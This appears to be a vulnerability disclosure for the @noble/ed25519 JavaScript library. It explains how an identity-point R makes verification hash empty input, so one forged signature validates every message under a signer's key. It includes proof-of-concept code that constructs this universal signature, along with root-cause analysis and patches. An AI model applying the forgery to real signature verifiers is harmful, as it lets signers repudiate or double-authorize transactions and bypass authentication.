Identity Point R Causes Universal Signature Forgery in Ed25519
CVSS v4.0
Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N
Score: 8.5 (High)
Justification:
- AV:N — The forged signature can be presented and verified over the network.
- AC:L — The attack is computationally trivial once the private key is known.
- AT:N — No special preconditions beyond having a registered keypair.
- PR:L — The attacker must be a recognized signer in the system (their public key must be trusted/registered).
- UI:N — No user interaction required for the verification side.
- VC:N/VI:H/VA:N — The vulnerability completely breaks signature integrity (universal forgery), with no confidentiality or availability impact on the vulnerable system.
- SC:N/SI:H/SA:N — Downstream systems relying on Ed25519 signature verification (blockchains, authentication, PKI) suffer high integrity impact.
CWE
CWE-347: Improper Verification of Cryptographic Signature
Affected Files
index.ts:524-530—_verifytry-catch blockindex.js:494-501—_verifytry-catch block
Description
When the R component of an Ed25519 signature decodes to the identity (neutral)
point (0, 1), the _verify function's hash computation silently produces
an incorrect result, causing a single signature to verify for all messages
under the same public key.
The root cause is the interaction between toBytes() and the try-catch block
in _verify. On line 529, the hash is computed as:
hashable = concatBytes(R.toBytes(), A.toBytes(), msg);
toBytes() calls assertValidity(), which rejects the identity point:
assertValidity(): this {
if (p.is0()) return err('bad point: ZERO');
...
}
This throws an exception. However, the assignment to SB on line 528 has
already succeeded, so when the try-catch catches this exception:
try {
A = Point.fromBytes(pub, zip215); // succeeds
R = Point.fromBytes(sig.slice(0, L), zip215); // succeeds (identity is valid)
s = bytesToNumLE(sig.slice(L, L2)); // succeeds
SB = G.multiply(s, false); // succeeds <- SB assigned here
hashable = concatBytes(R.toBytes(), ...); // THROWS <- identity rejected by toBytes
} catch (error) {} // exception swallowed
After the catch:
SBis defined (not null)hashableis stillUint8Array.of()(the empty default from line 523)finish()does NOT short-circuit becauseSB != null(line 533)- The hash k is computed as
SHA-512(empty)— a fixed constant independent of R, A, or msg - Verification proceeds with this wrong k
Because k is independent of the message, the same signature (identity_R, S) will
pass verification for every possible message under the same public key A.
Reproduction Steps
- Compute the fixed hash challenge:
import { etc, hashes, verify, Point } from '@noble/ed25519';
const { hexToBytes, bytesToHex } = etc;
// k0 = SHA-512(empty) mod N
// SHA-512(empty) = cf83e1357eefb8bd...
const emptyHash = await crypto.subtle.digest('SHA-512', new Uint8Array());
const k0 = modL_LE(new Uint8Array(emptyHash));
- Construct the universal signature:
// Attacker knows private key a, public key A = aG
const a = /* private scalar */;
const S = (k0 * a) % N; // S = k0 * a mod N
// Identity point encoding: y=1, x=0, sign bit = 0
const identityR = new Uint8Array(32);
identityR[0] = 1; // LE encoding of y=1
const sig = concatBytes(identityR, numTo32bLE(S));
- Verify against ANY message:
const msg1 = new TextEncoder().encode("Transfer 100 BTC to Alice");
const msg2 = new TextEncoder().encode("Transfer 100 BTC to Bob");
const msg3 = new TextEncoder().encode("I never signed anything");
// All three return true with the SAME signature
console.log(await verifyAsync(sig, msg1, pubKey)); // true
console.log(await verifyAsync(sig, msg2, pubKey)); // true
console.log(await verifyAsync(sig, msg3, pubKey)); // true
- Verify the mechanism:
// The identity point decodes successfully
const R = Point.fromBytes(identityR, true);
console.log(R.is0()); // true — it IS the identity
// But toBytes() rejects it
try { R.toBytes(); } catch(e) { console.log(e.message); } // "bad point: ZERO"
Impact
-
Non-repudiation break: A malicious signer can create a single "universal" signature that verifies for any message under their public key. They can then present this same signature as proof of having signed different, even contradictory messages. Conversely, they can plausibly deny signing any specific message since "the same signature works for everything."
-
Double-spend in blockchain: A malicious validator or signer could submit the same signature to authorize conflicting transactions, since the verification oracle treats it as valid for any message.
-
Authentication bypass: In systems using Ed25519 for authentication tokens or challenges, a compromised signer could produce one signature that authenticates any challenge, effectively creating a master token.
-
Affects both ZIP215 and strict modes: The identity point
(0, 1)is decodable in both modes — y=1 is within [0, P) and the sign bit is 0.
Root Cause Analysis
This vulnerability arises from two design decisions interacting:
-
toBytes()rejects the identity point —assertValidity()treats the identity as invalid, which is correct for serialization but causes an exception during hash computation in verification. -
The try-catch silently catches the exception — The catch block on line 530 is empty, and the only guard against continuing with partial state is the
SB == nullcheck on line 533. But SB was assigned before the throw. -
hashable defaults to empty — Line 523 initializes
hashabletoUint8Array.of(), so if the try-catch catches before hashable is assigned, the hash is computed over empty input.
Suggested Fix
Replace the hash computation to use original input bytes:
try {
A = Point.fromBytes(pub, zip215);
R = Point.fromBytes(sig.slice(0, L), zip215);
s = bytesToNumLE(sig.slice(L, L2));
SB = G.multiply(s, false);
- hashable = concatBytes(R.toBytes(), A.toBytes(), msg);
+ hashable = concatBytes(sig.slice(0, L), pub, msg);
} catch (error) {}
Alternatively, move the SB assignment after the hashable assignment:
try {
A = Point.fromBytes(pub, zip215);
R = Point.fromBytes(sig.slice(0, L), zip215);
s = bytesToNumLE(sig.slice(L, L2));
- SB = G.multiply(s, false);
hashable = concatBytes(R.toBytes(), A.toBytes(), msg);
+ SB = G.multiply(s, false);
} catch (error) {}